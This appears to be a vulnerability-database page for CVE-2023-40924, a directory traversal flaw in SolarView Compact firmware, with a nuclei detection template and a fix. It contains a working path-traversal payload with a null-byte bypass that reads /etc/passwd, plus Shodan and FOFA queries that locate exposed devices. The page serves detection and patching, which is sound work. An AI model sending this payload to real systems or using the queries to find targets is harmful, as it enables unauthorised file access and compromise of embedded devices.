Browse / CVEs / CVE-2023-40924
CVE-2023-40924· contec / solarview compact firmware· CWE-22
SolarView Compact < 6.00 - Directory Traversal
highseverity
7.5CVSS score
3.2%likelihood of exploitation, next 30 days
88%of all CVEs are less likely
Readycheck to confirm it
SolarView Compact before version 6.00 is vulnerable to directory traversal via the file parameter in downloader.php. An unauthenticated attacker can read arbitrary files from the system by using path traversal sequences with a null byte bypass to access sensitive files such as /etc/passwd.
Impact
An attacker can read sensitive system files including /etc/passwd which may contain password hashes on embedded devices, potentially leading to full system compromise.
Fix
Upgrade SolarView Compact to version 6.00 or later.
How to confirm it
Send: GET {{BaseURL}}/downloader.php?file=../../../../../../../../../../etc/passwd%00.jpg
Positive when: matches /root:.*:0:0:/ AND status 200Run it with nuclei: nuclei -id CVE-2023-40924 -u <target>
The full check
id: CVE-2023-40924
info:
name: SolarView Compact < 6.00 - Directory Traversal
author: DhiyaneshDk
severity: high
description: |
SolarView Compact before version 6.00 is vulnerable to directory traversal via the file parameter in downloader.php. An unauthenticated attacker can read arbitrary files from the system by using path traversal sequences with a null byte bypass to access sensitive files such as /etc/passwd.
impact: |
An attacker can read sensitive system files including /etc/passwd which may contain password hashes on embedded devices, potentially leading to full system compromise.
remediation: |
Upgrade SolarView Compact to version 6.00 or later.
reference:
- https://github.com/Yobing1/CVE-2023-40924/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-40924
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-40924
epss-score: 0.03222
epss-percentile: 0.88338
cwe-id: CWE-22
cpe: cpe:2.3:o:contec:solarview_compact_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: contec
product: solarview_compact_firmware
shodan-query:
- http.html:"SolarView Compact"
- http.favicon.hash:"-244067125"
- http.html:"solarview compact"
fofa-query:
- body="solarview compact"
- icon_hash="-244067125"
tags: cve,cve2023,lfi,solarview,contec,traversal,vuln
http:
- method: GET
path:
- "{{BaseURL}}/downloader.php?file=../../../../../../../../../../etc/passwd%00.jpg"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200References
- https://github.com/Yobing1/CVE-2023-40924/blob/main/README.md
- https://nvd.nist.gov/vuln/detail/CVE-2023-40924
Use this check only on systems you are authorised to test. Where the data comes from